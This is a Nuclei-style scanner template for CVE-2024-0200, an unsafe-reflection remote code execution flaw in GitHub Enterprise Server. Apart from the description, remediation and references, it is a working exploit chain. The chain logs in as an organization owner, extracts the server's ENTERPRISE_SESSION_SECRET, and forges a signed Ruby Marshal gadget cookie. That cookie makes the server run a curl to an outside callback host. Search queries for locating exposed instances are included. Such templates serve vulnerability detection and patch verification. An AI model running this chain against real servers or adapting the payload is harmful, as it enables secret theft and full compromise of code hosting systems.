id: CVE-2024-0200

info:
  name: Github Enterprise Authenticated Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. This vulnerability could lead to the execution of user-controlled methods and remote code execution. To exploit this bug, an actor would need to be logged into an account on the GHES instance with the organization owner role. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12 and was fixed in versions 3.8.13, 3.9.8, 3.10.5, and 3.11.3.
  impact: |
    Authenticated attackers with organization owner privileges can exploit unsafe reflection to execute arbitrary code remotely, leading to complete compromise of the GitHub Enterprise Server instance and potential access to all repositories and data.
  remediation: |
    Upgrade to GitHub Enterprise Server version 3.8.13, 3.9.8, 3.10.5, or 3.11.3 or later.
  reference:
    - https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/
    - https://blog.convisoappsec.com/en/analysis-of-github-enterprise-vulnerabilities-cve-2024-0507-cve-2024-0200/
    - https://docs.github.com/en/enterprise-server@3.10/admin/release-notes#3.10.5
    - https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.3
    - https://docs.github.com/en/enterprise-server@3.8/admin/release-notes#3.8.13
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0200
    cwe-id: CWE-470
    epss-score: 0.69506
    epss-percentile: 0.98672
    cpe: cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 7
    vendor: github
    product: "enterprise_server"
    shodan-query:
      - "title:\"GitHub Enterprise\""
      - micro focus dsd
    fofa-query: "app=\"Github-Enterprise\""
  tags: cve,cve2024,rce,github,enterprise,vuln
variables:
  username: "{{username}}"
  password: "{{password}}"
  oast: "curl {{interactsh-url}}/?"
  padstr: "{{randstr}}"
  payload: "{{padding(oast,padstr,300,'suffix')}}"
  marshal_data: '%04%08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy%09:%0e@instanceo:%1dAqueduct::Worker::Worker%07:%0b@childI"%026%0199999999; {{payload}}%06:%06ET:%0c@loggero:%0bLogger%00:%0c@method:%0fkill_child:%09@varI"%10@kill_child%06;%09T:%10@deprecatoro:%1fActiveSupport::Deprecation%06:%0e@silencedT'
  b64_marshal_data: "{{base64(url_decode(marshal_data))}}"
  digest: "{{ (hmac('sha1',b64_marshal_data,ghe_secret)) }}"
  final_payoad: "{{ b64_marshal_data + '--' + digest}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v3/user/orgs"
    headers:
      Authorization: "Basic {{base64('{{username}}' + ':' + '{{password}}')}}"
    extractors:
      - type: json
        part: body
        name: org_name
        internal: true
        json:
          - ".[].login"

  - method: GET
    path:
      - "{{BaseURL}}/api/v3/orgs/{{org_name}}/memberships/{{username}}"
    headers:
      Authorization: "Basic {{base64('{{username}}' + ':' + '{{password}}')}}"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"role": "admin"'
        part: body

  - method: POST
    path:
      - "{{BaseURL}}/api/v3/orgs/{{org_name}}/repos"
    headers:
      Content-Type: application/json
      Authorization: "Basic {{base64('{{username}}' + ':' + '{{password}}')}}"
    body: |
          {
            "name": "{{randstr}}"
          }
    matchers:
      - type: status
        status:
          - 201

  - method: GET
    cookie-reuse: true
    path:
      - "{{BaseURL}}/login"
    extractors:
      - type: regex
        part: body
        internal: true
        group: 1
        regex:
          - 'name="authenticity_token" value="(.*?)"'
        name: csrf_token

  - method: POST
    path:
      - "{{BaseURL}}/session"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
      login={{username}}&password={{password}}&commit=Sign%20in&authenticity_token={{csrf_token}}&
    matchers:
      - type: status
        status:
          - 302
      - type: word
        words:
          - "_gh_render"
        part: header

  - method: GET
    path:
      - "{{BaseURL}}/organizations/{{org_name}}/settings/actions/repository_items?page=1&rid_key=nw_fsck"
    extractors:
      - type: regex
        group: 1
        name: ghe_secret
        internal: true
        regex:
          - '&quot;ENTERPRISE_SESSION_SECRET&quot;=&gt;&quot;([^"]+?)&quot;'
        part: body
    matchers:
      - type: word
        words:
          - 'ENTERPRISE_SESSION_SECRET'
        part: body

  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Cookie: _gh_render={{final_payoad}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 500
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4b0a00483046022100c76b5cfc98af58b4cd3de53bec503e0b7bd4f538dfa1584cdf6081b200d9645c022100c02c726d2d9ee321ba4adc41a4bce348d74a26ae2d73a44f8b7695300a23a5dc:922c64590222798bb761d5b6d8e72950